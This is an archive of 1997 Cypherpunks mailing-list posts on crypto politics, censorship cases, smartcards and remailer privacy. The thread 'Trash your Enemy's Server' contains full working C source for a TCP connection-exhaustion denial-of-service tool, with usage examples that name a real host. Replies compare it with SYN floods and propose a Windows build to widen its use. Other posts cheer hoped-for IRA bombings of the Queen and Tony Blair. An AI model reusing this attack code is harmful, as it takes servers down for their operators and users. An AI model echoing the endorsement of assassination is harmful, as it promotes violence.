1)  Back in WWII days Aldis lamps were a pretty good option.  Unless you had a submerged enemy sub in your convoy you would most likely notice anyone who could intercept your communications.  Since of course convoys could travel faster than submerged subs the exposure was also limited in time.  Add of course the fact that most of the messages were in code, frequently unique for a given transit.

2)  Consider the changes in today's environment:
a) Image intensifying lenses make over the horizon (cloud bounce) reception possible.
b) Subs can move faster underwater than most surface ships.
c) Satellites could pick up the light pulses - either directly (if low horizon) or reflectively (off the water)
d) I suppose that the right spectrum could also pick up the heat caused by the filament of the lamp.

Of course, since it now takes about 45 gizillion people on a ship to "sign out" a message for release, the only messages that go out over Aldis lamps are the signalmen swapping scuttlebutt and sea stories in the name of "on the job training"

"Fair winds and following seas!"
An old salt.

-----Original Message-----
From:	Bill Frantz [SMTP:frantz at netcom.com]
Sent:	Friday, June 06, 1997 11:13 AM
Subject:	Re: TV Commercial

 At 12:34 AM -0700 6/6/97, David Lucas wrote:
>It's a nice thought, but the image is all wrong. Two ships communicating
>via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
>isn't what I would call very secure communication.

Well, the Japanese managed to keep secure communications when sneeking up
on Pearl Harbor, and I assume they used something similar for ship-to-ship
communications.  Narrow beam, and everyone who can receive is in sight is
nice.






From mpd at netcom.com  Fri Jun  6 14:02:00 1997
From: mpd at netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 05:02:00 +0800
Subject: Thomases lose appeal in second case
In-Reply-To: <3.0.1.32.19970606095702.0073a340@popd.ix.netcom.com>
Message-ID: <199706062054.NAA02790@netcom11.netcom.com>



Bill Stewart  writes:

 > Remember the Amateur Action BBS case from 1994, when Robert
 > Thomas got convicted by a Federal court in Tennessee for
 > distributing pornography on his BBS in California?

Yes, indeed.  Some outraged citizen in Tennessee bitched that he
carried nudist pictures of minors on the BBS.  Those weren't
illegal, but an enterprising federal agent then joined the BBS in
an attempt to screw the Thomases.  He sent them unsolicited child
porn, used it as an excuse to raid their residence and seize all
their equipment, and finally got a conviction over some
bestiality pictures which were technically illegal in Tennessee,
although such material could be found in local porn shops only a
few blocks from the prosecutor's offices.

 > Well, he was also prosecuted in Utah for distributing
 > pornography from the BBS (the Merc doesn't say if it was a
 > state or federal prosecution, but it looks like state), and
 > he just lost his appeal in Federal court.

After the feds finished giving the Thomases an anal reaming in
Tennessee, they recalled that Utah was one of the few states
conservative enough (along with Ohio, I believe) to include all
nude depictions of minors in its child pornography statutes. They
then arranged to have the Thomases dragged from Tennessee to Utah
to be reamed again, this time by the Mormons.

 > One of his defense arguments was double jeopardy, and the
 > court rejected that because the Utah court busted him for
 > different pictures than the Tennessee court.

Right.  Tennessee busted him for bestiality pics.  Utah busted
him for pictures of happy children playing outdoors au natural.
Of course naked children were really the hidden agenda behind the
Tennessee prosecution too, if the truth be known.

 > While distributing child pornography is reprehensible, it's
 > still none of Utah's business;

The hardcore child porn business is reprehensible.  The nude
children playing tennis business less so, depending upon ones
religious and political affiliation, of course.

 > the ACLU lawyer defending Thomas says there's no evidence
 > that any Utah citizens actually downloaded any (except the
 > police).

The appeals courts are going to play hardball with the Thomases
until they repent and shut down their BBS, which no longer does
business with the states of Utah, North Carolina, and Tennessee.

"Continuing to engage in the enterprise" has been cited in a
former appeals court ruling as a reason why the long prison
sentences given the Thomases were supposedly justified.

I believe it was George Wallace who commented that the United
States was in reality run by "Thugs and Federal Judges."

I tend to agree.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $







From xmasterx at juno.com  Sat Jun  7 05:52:10 1997
From: xmasterx at juno.com (xmasterx at juno.com)
Date: Sat, 7 Jun 1997 05:52:10 -0700 (PDT)
Subject: No Subject
Message-ID: <19970606.204444.11574.0.xmasterx@juno.com>


UNSUBSCRIBE cypherpunks





From jsong at aig.com  Fri Jun  6 15:48:07 1997
From: jsong at aig.com (Jenjen)
Date: Sat, 7 Jun 1997 06:48:07 +0800
Subject: Mixture Generation vs. Moduler Exponantion Approach?
Message-ID: <33989243.77E7@aig.com>



Recently I learned a new crypto algorithm--RPK (see www.rpk.co.nz).
It's based on mixture generator (MG) approach and claims much faster
than all existing public-key crypto-algorithms. But some people argue
that MG is not much different from moduler exponantiation (ME) approach,
which has been used in some existing crypto-algorithms. Therefore, RPK
may not be that much faster than others.

I'm new in this field and not sure whether these 2 approaches (Mixture
Generation vs. Moduler Exponantiation) are very different or not?
Can MG be much faster than ME or no much difference?
Would you help me with these questions or point me to a right direction?
I'd appreciate your help.






From dlv at bwalk.dm.com  Fri Jun  6 16:24:25 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:24:25 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 



Paul Bradley  writes:
> Tims post made a good point, people soon forget the causes of conflict
> and only see the effects, today, hardly anyone in the UK sees the IRA as
> an organisation devoted to liberating NI, merely a bunch of thugs. Of

Of course they forget the nearly thousand years of English thuggery
in Ireland...

> course they have brought this on themselves by indiscriminately blowing
> things up. Talking of which the Queen is visiting Hastings (a town about
> 5 miles from me) today, I hope the IRA blow her up...

That would be just lovely!

I'm sorry the IRS missed a chance to blow up the Blair motherfucker
during his recent $400 dinner.

Please send donations to Sinn Fein every time you see Hallam Baker post.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ichudov at Algebra.COM  Fri Jun  6 16:41:21 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 07:41:21 +0800
Subject: Trash your Enemy's Server
Message-ID: <199706062334.SAA25668@manifold.algebra.com>



/***************************************************************************/
/* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */
/* Copyright(C) 1997 Ignoramus_Chewed-Off at algebra.com                      */
/***************************************************************************/

const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
              sleep( 1 );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
            }
        }
    }
}






From dlv at bwalk.dm.com  Fri Jun  6 16:51:49 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:51:49 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



Declan McCullagh  writes:
> I suspect we agree on spam.)

I kind of doubt it.

Do you believe, as I do, that "spam" deserves the protection as any other kind
of speech, and that so libel, child pornography, and bolb-making instructions?

I didn't think so. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Fri Jun  6 16:52:03 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:52:03 +0800
Subject: dnews?
In-Reply-To: <3.0.1.32.19970606061001.0082a370@flex.com>
Message-ID: 



"Dr. Jai Maharaj"  writes:

> Recently, when I post an article in some newsgroups, the following
> arrives by E-Mail almost insyantly.  Then several hours later, the
> article is forge-canceled.  Any input will be appreciated! -  Jai Maharaj
>
> > Return-Path: dnews at 152.132.1.40

I had a couple of those.  I don't think they're related to the
forged cancels from bellatlantic (which should be screamed about).

I'd appreciate all followups to the thread "Chris Lewis has utterly lost it",

Thanks.  Major updates to net.scun hopefully tonite.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From rah at shipwright.com  Fri Jun  6 17:02:57 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 7 Jun 1997 08:02:57 +0800
Subject: First shots in Smart Wars
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: iang at hotlava.net
Precedence: Bulk
Date:  6 Jun 1997 15:20:35 -0000
From: iang at hotlava.net
To: Multiple recipients of 
Subject:  First shots in Smart Wars

Folks,
the smart wars have started.  This recently erupted in the Dutch press
after bubbling along in the committee rooms for the last year.
What follows is a translation and I may have lots of errors in there...

This is significant because it signals a new phase in the industry of
head-to-head competition for reputation and market share, using all the
FUD and scare tactics that big ignorant players have available to them.
At this point we can conclude that anyone who is not already fielding
systems has probably missed the boat.  Although this is only a boat
travelling up the Amstel for now, there are some famous people waving
tearfully from the wharf.

It doesn't necessarily mean the end of DBBs as they are a concept
that promise efficiency gains over the current mechanism.  But it
does mean that it will be a long drawn out battle, as any usage of
same must be supported by other innovations in order to compete with
large, well-heeled and scared competitors.

iang

-------
On Wednesday, Postbank announced introduction of the combined debit-card
and Chipper-chip with two codes: one PIN code (as meant in ISO 9564-1) and
one chipcode (10202-6). The PIN code is for debit-cards with magstripe and
the chipcode for using the smartcard functionality (including purse). They
stated that using two codes was a requirement from the central bank and
that they were suprised that the other smartcard initiative (chipknip) was
allowed to use only one code for both debit-card and purse-application.

DNB (the Dutch National Bank) were asked for comment (Wednesday) and they
denied that they instructed Postbank to use two codes. Postbank did not
want to explain any further in the open press about why they chose 2 codes
and kept on referring to DNB.  Meanwhile a spokesman for RABO, one of the
banks in the competing initiative, spoke out publicly (and frequently) that
chipknip only used one code and that there was no requirement to use two
codes for the two applications. The spokesman also stated that it would be
possible to use this one code in a user's smart card "home-loading" devices
(the so-called 'chipknipper').

On Thursday (so in the Friday newspapers) DNB informed the press that DNB
uses international standards as a reference point in their review of card
schemes. Operators of schemes make their own decisions within the framework of
these standards. DNB only checks, depending on the choice made, which part
of the standards apply and whether the implementation complies to the
relevant part of the standard. The ISO-standards used will basically relate the
use of a code to the security level of loading device. If a scheme operator
chooses to synchronize the chipcode with the PIN-code, the more stringent
PIN-code protection regime applies for that chipcode: it should be
physically secure instead of merely tamper-evident.

DNB stated that in the case of PIN-synchronisation one could view the use of
loading terminals in or attached to banks as compliant with the ISO
standards. DNB also stated that in the case of PIN-synchronization it had
not been demonstrated that other (home-loading) equipment would comply with
the requirements in the international standards.

Volkskrant, the Dutch daily newspaper, concluded that RABO might want to
reconsider using one code, since the use of this code in a home environment
did not seem to comply with international standards. Trouw, another daily,
analyzed that in the chipcard battle Postbank had scored a point as they
were able to use their chipper in home environments with the chipcode and
other banks obviously were not in that position. RABO meanwhile continued
to state that they would roll out the home-loading devices at the end of
the year and that these devices were technically superior, which would be
the reason that no other code was necessary.
---
----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From mpd at netcom.com  Fri Jun  6 17:28:12 1997
From: mpd at netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 08:28:12 +0800
Subject: Trash your Enemy's Server
In-Reply-To: <199706062334.SAA25668@manifold.algebra.com>
Message-ID: <199706062352.QAA18259@netcom3.netcom.com>



Igor writes:

[C program which allegedly does a DoS attack on a server]

I thought the correct way to do this was to spew packets with random
return addresses and fill up the host's listen table with half open TCP
connections waiting to time out. 

Opening 1,000 genuine TCP connections to a host wastes both the host's
resources as well as yours, and is a tad obvious should your target
log packets with your IP address in them. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From ghio at temp0093.myriad.ml.org  Fri Jun  6 17:29:44 1997
From: ghio at temp0093.myriad.ml.org (Matthew Ghio)
Date: Sat, 7 Jun 1997 08:29:44 +0800
Subject: Who subscribes to the list?
Message-ID: <199706070022.RAA04412@myriad.alias.net>



If you're worried that someone might find out who is subscribed to the list
by querying some of the majordomos, don't bother.  I already have a list of
all your IP addresses.

Sendmail has a nice feature which checks all the sender or recipient
addresses by doing DNS lookups on them.  My nameserver is watching you. :)


P.S. I'm sure none of you would be foolish enough to use penet-style
remailers which do not encrypt the message headers.






From rcgraves at disposable.com  Fri Jun  6 17:36:43 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Sat, 7 Jun 1997 08:36:43 +0800
Subject: Privacy-loving Europeans are at it again
Message-ID: <3398AB5F.3CB8D846@disposable.com>



It's not clear from the attributions who originally wrote:

>>>The New York Times reports on page one the German
>>>prosecution of a woman who linked her home page to
>>>Radikal. It reviews XS4ALL's role, describes Radikal
>>>and its mirror sites and links to them all:
>>>
>>> http://www.nytimes.com/library/cyber/week/060697germany.html

This story was stale soon after it hit the "presses." The trial
is on hold as the government looks (in vain?) for expert
witnesses who support their position.

In unrelated news, Reuters is reporting that the head of
CompuServe's operations in Germany, the guy who is being sued in
Munich on kiddie porn charges, is leaving to start his own
company.

-rich
 http://www.stanford.edu/~llurch/






From whgiii at amaranth.com  Fri Jun  6 17:39:51 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 7 Jun 1997 08:39:51 +0800
Subject: Who subscribes to the list?
In-Reply-To: <199706070022.RAA04412@myriad.alias.net>
Message-ID: <199706070030.TAA16138@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706070022.RAA04412 at myriad.alias.net>, on 06/06/97 
   at 05:22 PM, ghio at temp0093.myriad.ml.org (Matthew Ghio) said:

>If you're worried that someone might find out who is subscribed to the
>list by querying some of the majordomos, don't bother.  I already have a
>list of all your IP addresses.

>Sendmail has a nice feature which checks all the sender or recipient
>addresses by doing DNS lookups on them.  My nameserver is watching you.
>:)


>P.S. I'm sure none of you would be foolish enough to use penet-style
>remailers which do not encrypt the message headers.


Your point being??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5issY9Co1n+aLhhAQHS/QP/bLlAVf4ztvKpj+0RlWPRUKMqpUafOjn/
MOQhTwGNQGH0BcbiDuRaUcheJr9rY2MTnFrdocKsJu6nJ9fWnQCwE4RhstxWwrhG
/RClFns7NmQikl50DqPPjnAIrmVyPL5OhBU2/nAPicqU9NRaTaNrsFke9W7eitOo
PBgtFR4QDBI=
=nHzy
-----END PGP SIGNATURE-----






From rcgraves at disposable.com  Fri Jun  6 17:41:13 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Sat, 7 Jun 1997 08:41:13 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

I have reasonable doubts as to whether
Paul Bradley  wrote:

> > not! The major reason people can't live together is furnished by
> > politicians who feel they should make it to history books ;-(
> 
> Tims post made a good point, people soon forget the causes of conflict 
> and only see the effects, today, hardly anyone in the UK sees the IRA as 
> an organisation devoted to liberating NI, merely a bunch of thugs. Of 
> course they have brought this on themselves by indiscriminately blowing 
> things up. Talking of which the Queen is visiting Hastings (a town about 
> 5 miles from me) today, I hope the IRA blow her up...

How many Irish nationalists do you know? The ones I know consider the
IRA to be a bunch of thugs. Their attitude towards sympathizers in the
US is similar to the attitude most Israelis have towards the kind of
American wackos who killed Rabin. That's probably too nuanced for you,
so to simplify: I think they're a bunch of thugs. They're just as
thuggish towards "their own" as they are towards the Loyalists. Express
a moderate or humanistic point of view in certain NI neighborhoods and
the IRA thugs will make sure you're censored for good. AS Bill Frantz
pithed a few weeks ago: the problem is not anarchy -- the problem is
too many competing governments in one place. Thuggery isn't the answer
to historical thuggery.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM5is8ZNcNyVVy0jxAQGtVgIAgpdMWOvv76Pf9eByDe5PkOW+7TmJwKA3
bUeUtRO9ydymz35qkEp+zD2n16dX1qft52h4nqmkIEVh6hKTiM0Jyw==
=TRvQ
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Fri Jun  6 17:52:09 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 08:52:09 +0800
Subject: Trash your Enemy's Server
In-Reply-To: <199706062334.SAA25668@manifold.algebra.com>
Message-ID: 



ichudov at Algebra.COM (Igor Chudov @ home) writes:

> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 

Very good.  If I had the time, I would have used the same #ifdefs used in
my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
to make a Windows 95 binary.

Somehow I think the people most likely to use this would be running W95 and
have no C compiler, rather than running a flavor of Unix/Linux.

Perhaps someless than busy than I am can do this. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From shamrock at netcom.com  Fri Jun  6 17:54:38 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 7 Jun 1997 08:54:38 +0800
Subject: Privacy in Europe
Message-ID: 



The recent post by John Young about the German woman charged with linking 
to Radikal caused me to investigate this issue.

You may have heard that Radikal had an article on sabotaging train
systems. The article simply stated that if you break open a certain type
of control box found next to train tracks and yank the circuit boards, the
trains will refuse to enter the given track segment. Hardly the worst of
possible sabotages and considerably less fatal than other methods discussed
on a mailing list near you. 

BTW, the woman has now been slapped with a new charge. Apparently it is 
illegal in Germany to publish criminal complaints. [Due to privacy 
regulations?]

Since the woman has the official paperwork detailing the charges against
her on her web site, she has now been charged *again* for violating the
prohibition against publishing the official court documents. 

Things are better in Europe? You must to be joking.

-- Lucky Green  PGP encrypted mail preferred






From ichudov at Algebra.COM  Fri Jun  6 18:18:40 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:18:40 +0800
Subject: Trash your Enemy's Server
In-Reply-To: <199706062352.QAA18259@netcom3.netcom.com>
Message-ID: <199706070111.UAA26287@manifold.algebra.com>



Mike Duvos wrote:
> 
> 
> Igor writes:
> 
> [C program which allegedly does a DoS attack on a server]
> 
> I thought the correct way to do this was to spew packets with random
> return addresses and fill up the host's listen table with half open TCP
> connections waiting to time out. 

There are patches that protect against this. The DOS attack that you mention
has been beaten to death in BugTraq and other places. It worked great until
all major OSes were patched. (of course some backwards sites still run
unpatched OSes)

It is very hard to protect against my attack, because it can only be done
at the application level. xinetd _may_ be helpful, though, if the service
being attacked is started from [x]inetd.

> Opening 1,000 genuine TCP connections to a host wastes both the host's
> resources as well as yours, and is a tad obvious should your target
> log packets with your IP address in them. 

Yes, BUT most typically a new connection creates only a new file 
descriptor on the host, and a whole new process on the target host.

	- Igor.






From ghio at temp0094.myriad.ml.org  Fri Jun  6 18:20:04 1997
From: ghio at temp0094.myriad.ml.org (Matthew Ghio)
Date: Sat, 7 Jun 1997 09:20:04 +0800
Subject: Who subscribes to the list?
In-Reply-To: <199706070022.RAA04412@myriad.alias.net>
Message-ID: <199706070111.SAA15372@myriad.alias.net>



William H. Geiger III wrote:
> >P.S. I'm sure none of you would be foolish enough to use penet-style
> >remailers which do not encrypt the message headers.
> 
> 
> Your point being??


While I am sure most readers of this list are well aware that remailed
messages which are not encrypted and chained are not secure, there is a
class of users who are not yet aware of this fact.  I was pointing out
the relative ease with which their identities could be compromised by
someone simply logging DNS traffic.  In addition, there was some recent
discussion over whether or not it was possible to obtain the subscriber
list from cyberpass.net and algebra.com.  Even if the subscriber list
is not published, there is an alternative method to determine who
subscribes to the list.

There are, of course, other methods, such as Return-Receipt headers and
embedded html tags, but tracking DNS traffic tends to be easy to do on
a wide scale without alerting the subjects that you are investigating.






From ichudov at Algebra.COM  Fri Jun  6 18:25:14 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:25:14 +0800
Subject: Trash your Enemy's Server
In-Reply-To: 
Message-ID: <199706070108.UAA26269@manifold.algebra.com>



Dr.Dimitri Vulis KOTM wrote:
> ichudov at Algebra.COM (Igor Chudov @ home) writes:
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> > #include 
> 
> Very good.  If I had the time, I would have used the same #ifdefs used in

Thanks.

> my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
> to make a Windows 95 binary.
> Somehow I think the people most likely to use this would be running W95 and
> have no C compiler, rather than running a flavor of Unix/Linux.

I personally experience very unpleasant emotions whenever I have to do
anything with Win 95. Perhaps someone else could do it. Also, it is 
_possible_ that this program will not work too well on Win 95 because
it would block other applications. (I am not sure about this)

> Perhaps someless than busy than I am can do this. :-)


	- Igor.






From ichudov at Algebra.COM  Fri Jun  6 18:26:27 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:26:27 +0800
Subject: Who subscribes to the list?
In-Reply-To: <199706070111.SAA15372@myriad.alias.net>
Message-ID: <199706070117.UAA26367@manifold.algebra.com>



Matthew Ghio wrote:
> William H. Geiger III wrote:
> > >P.S. I'm sure none of you would be foolish enough to use penet-style
> > >remailers which do not encrypt the message headers.
> > Your point being??
> 
> 
> While I am sure most readers of this list are well aware that remailed
> messages which are not encrypted and chained are not secure, there is a
> class of users who are not yet aware of this fact.  I was pointing out
> the relative ease with which their identities could be compromised by
> someone simply logging DNS traffic.  In addition, there was some recent
> discussion over whether or not it was possible to obtain the subscriber
> list from cyberpass.net and algebra.com.  Even if the subscriber list
> is not published, there is an alternative method to determine who
> subscribes to the list.
> 
> There are, of course, other methods, such as Return-Receipt headers and
> embedded html tags, but tracking DNS traffic tends to be easy to do on
> a wide scale without alerting the subjects that you are investigating.
> 

Another danger of  using remailers without encryption is that it is very
easy to compromise one's identity due to little mistakes and malformed
messages.

	- Igor.






From jya at pipeline.com  Fri Jun  6 18:32:43 1997
From: jya at pipeline.com (John Young)
Date: Sat, 7 Jun 1997 09:32:43 +0800
Subject: Germany to Surveil CoS
Message-ID: <1.5.4.32.19970607011507.009b1bc4@pop.pipeline.com>



                           DEPARTMENT OF STATE
                        DAILY PRESS BRIEFING INDEX
                            Friday, June 6, 1997
                           Briefer:  Nicholas Burns

[Excerpt]

QUESTION:  What is the State Department's reaction to the decision of
the German Interior Ministers to put the Church of Scientology under
nationwide observation by the anti-extremist watchdogs?

MR. BURNS:  Well, we understand that the German state and federal
interior ministers have agreed to pursue the recommendations of an
experts group which called for the collection of information on
Scientologists and scientology.  It is our understanding - and we have a
very incomplete understanding, actually, of this decision - that the
ministers directed state and federal law enforcement agencies to develop
a plan to implement these recommendations.

We will examine the details of this decision carefully, but since I
don't believe our embassy in Bonn or our German experts here at the
State Department have had sufficient time really to look at this in
detail, I don't think it's appropriate for me to give you a detailed
comment.  I will say this.  The United States obviously has to stand for
freedom of religion.  We have that in our own country and we stand for
freedom of religion around the world.  If you would just look at our
annual human rights reports, I think four out of the last five years or
five of the last six - I forget which - we have mentioned this issue of
scientology.

But I feel compelled to say something else about this issue, and that is
that Germany needs to be protected, the German Government and the German
leadership need to be protected from this wild charge made by the Church
of Scientology in the United States that somehow the treatment of
Scientologists in Germany can or should be compared to the treatment of
Jews who had to live, and who ultimately perished, under Nazi rule in
the 1930s.

This wildly inaccurate comparison is most unfair to Chancellor Kohl and
to his government and to regional governments and city governments
throughout Germany.  It has been made consistently by supporters of
scientology here in the United States, and by Scientologists themselves.
I do want to disassociate the United States Government from this
campaign.  We reject this campaign.  It is most unfair to Germany and to
Germans in general.

QUESTION:  Anything in this latest effort by Germany to deal with the
Church of Scientology that concerns you?

MR. BURNS:  Well, Carol, as I said, we have a sketchy understanding, at
best, of what this means.  It appears to be instructions by state and
federal law enforcement agencies to look at a set of recommendations and
develop a plan upon recommendations.

We have an alliance relationship with Germany.  We have a very close
relationship. I think among friends, you don't shoot first and ask
questions later.  What we need to do is study this issue, talk to the
German Government about it, and then perhaps we will have something to
say later on.  But I think it would be most unfair to Germany for us to
have detailed comments when we don't have a detailed understanding of
what this process may or may not be.  Yes.

[End excerpt]






From cme at cybercash.com  Fri Jun  6 18:40:17 1997
From: cme at cybercash.com (Carl Ellison)
Date: Sat, 7 Jun 1997 09:40:17 +0800
Subject: Arguments for good crypto and against GAK.
In-Reply-To: <199706062346.QAA29864@comsec.com>
Message-ID: <3.0.1.32.19970606212924.0096a700@cybercash.com>



At 03:00 PM 6/5/97 -6, Peter Trei wrote:
>In short, it's possible to pro-crypto, anti-GAK 
>without ever getting near sounding  anti-government; 
>in fact, being pro-crypto, anti-GAK can be a 
>conservative, anti-crime, law & order position.

Yup.

Let me add one more I just posted to the cryptography list.

When you have non-GAK strong crypto for criminals to use, they (like the 
rest of us) will be seduced into believing that they have privacy and will 
loosen their tongues.  As a result, more and better intelligence will be 
available over that communications channel.  For the proportion of cases 
where the person on the other side is an agent or someone turned by threat 
of prosecution, this intelligence falls into the hands of law enforcement.  
Even better, this person who is reporting to LE is remote from the real 
criminal(s), so he is in substantially less danger of being frisked to 
discover a wire.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
